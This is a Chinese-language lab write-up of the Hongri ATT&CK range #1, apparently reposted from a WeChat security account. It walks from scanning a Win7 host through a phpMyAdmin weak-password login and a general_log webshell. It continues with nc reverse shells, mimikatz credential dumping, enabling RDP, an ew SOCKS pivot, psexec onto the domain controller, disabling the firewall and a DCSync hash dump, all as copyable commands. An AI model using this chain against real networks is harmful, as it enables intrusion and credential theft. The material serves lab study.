闲来无事,打一下红日的几套靶场,先打第一套靶场,此靶场是2019年的了,虽然有点老了,还是能学到点东西的
开整
靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
靶场拓扑
默认密码为hongrisec@2019,需要重新设置密码
网卡配置
需要自己配置一下网卡信息 win7作为入口点,配置两张网卡,一张为NAT一张为仅主机 NAT直接自动获取即可 仅主机配置如下
其他两台机器均为仅主机 windows server 2008为域控
windows 2003
入口地址(Win7):192.168.85.147
进行端口扫描
nmap -sV -sS -sC -p- -Pn 192.168.85.147
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-title: phpStudy xE6x8ExA2xE9x92x88 2014
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: GOD)
1025/tcp open msrpc Microsoft Windows RPC
1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open msrpc Microsoft Windows RPC
1028/tcp open msrpc Microsoft Windows RPC
1029/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql MySQL (unauthorized)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
57852/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:0C:29:A5:99:A1 (VMware)
Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -2s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:a5:99:a1 (VMware)
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-03-09T13:15:18
|_ start_date: 2023-03-09T09:55:14
外网打点
着重看一下80端口
访问80端口,是一个phpstudy探针
尝试进行目录扫描 python3 dirsearch.py -u http://192.168.85.147/
扫描得到phpinfo.php和phpmyadmin
访问phpmyadmin,随手一试弱口令root:root
,就进去了
进了phpmyadmin可以尝试写文件getshell,但是有前提体条件
需要知道此网站的绝对路径
此网站目录是否可写
secure_file_priv没有值
碰巧再访问80端口的时候默认是探针,探针中就有绝对路径
目录目前不知道是否可写,先跳过看第三个条件
secure_file_priv是用来限制在那个目录下有读写权限的,再mysql 5.6.34版本后是默认NULL的,此mysql的版本为5.5.53并没有大于5.6.34
当它的值为NULL时,则表示不允许进行读写
当它的值为一个路径时(例如/tmp),则表示只能再/tmp目录下读写
当它没有值时,则表示没有限制
show variables like "secure_file_priv";
查看当前的值,发现值为NULL
可以通过my.ini来修改secure_file_priv的值,但是根本无法进入到服务器 怎么修改my.ini呢,
这思路就断了
既然mysql的版本为5.5.53,再mysql 5.0及以上的版本会创建日志文件,可以通过修改日志的路径来getshell 日志的读写功能默认是关闭的
show variables like 'general_log'; #可以查看日志的读写是否开启
set global general_log = on; #开启此功能
开启功能,将日志文件的地址改为web目录下的php文件
show variables like 'general_log_file'; #查看日志的默认路径
set global general_log_file='C:\phpStudy\WWW\shell.php'; #修改路径
修改完地址,直接通过select来写入一下
select ' @eval($_REQUEST[1]);';
成功getshell并且是administrator权限
查看网站目录除了phpmyadmin还有一个yxcms
先把这个放一边(yxcms也是有漏洞的,比较懒就没尝试),尝试一下将这台机器的shell反弹回来 上传nc.exe,通过nc反弹shell
ipconfig /all
查看目标机器的网卡信息,发现一个10.10.10.11的地址,dns为10.10.10.10
net view /domain
查看当前域,是存在GOD域的,既然有域,那么目标就清晰了,直接拿下域就接管了整个域
查看域用户
net time /domain
查看域内机器,发现三台机器
通过ping发现owa的地址为10.10.10.10那么可以判断owa为域控
整理一下
域用户
administrator
ligang
域机器
OWA.god.org 10.10.10.10 域控
ROOT-TVI862UBEH.god.org 10.10.10.12 域内机器
stu1.god.org 10.10.10.11 域内机器(已拿下)上传mimikatz抓取密码,抓到god/administrator的密码为Admin@123456,此账号密码应该是域管的
通过注册表开启3389
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
使用godadministrator:Admin@123456登录到此机器上
直接挂代理
攻击机:./ew_for_linux64 -s rcsocks -l 1080 -e 1234
Win7:ew.exe -s rssocks -d 192.168.85.162 -e 1234通过kali自带的proxychains4进行代理,直接拿下域控
proxychains4 python3 psexec.py god.org/administrator:Admin@123456@10.10.10.10
开启3389端口
开启端口后发现不能远程连接,查看一下防火墙的状态
netsh advfirewall show allprofiles
果然都开着,
直接给它关掉
netsh advfirewall set allprofiles state off
成功登录到域控
直接上传mimikatz,通过dcsync抓取所有用户的hash(在拿下第一台机器的时候就可做此操作,因为就直接拿到域管的权限的了),以便后续做权限维持
lsadump::dcsync /all /csv
▼ 更多精彩推荐,请关注我们 ▼
请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!
原文始发于微信公众号(鸿鹄实验室):红日ATT&CK系列靶场(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论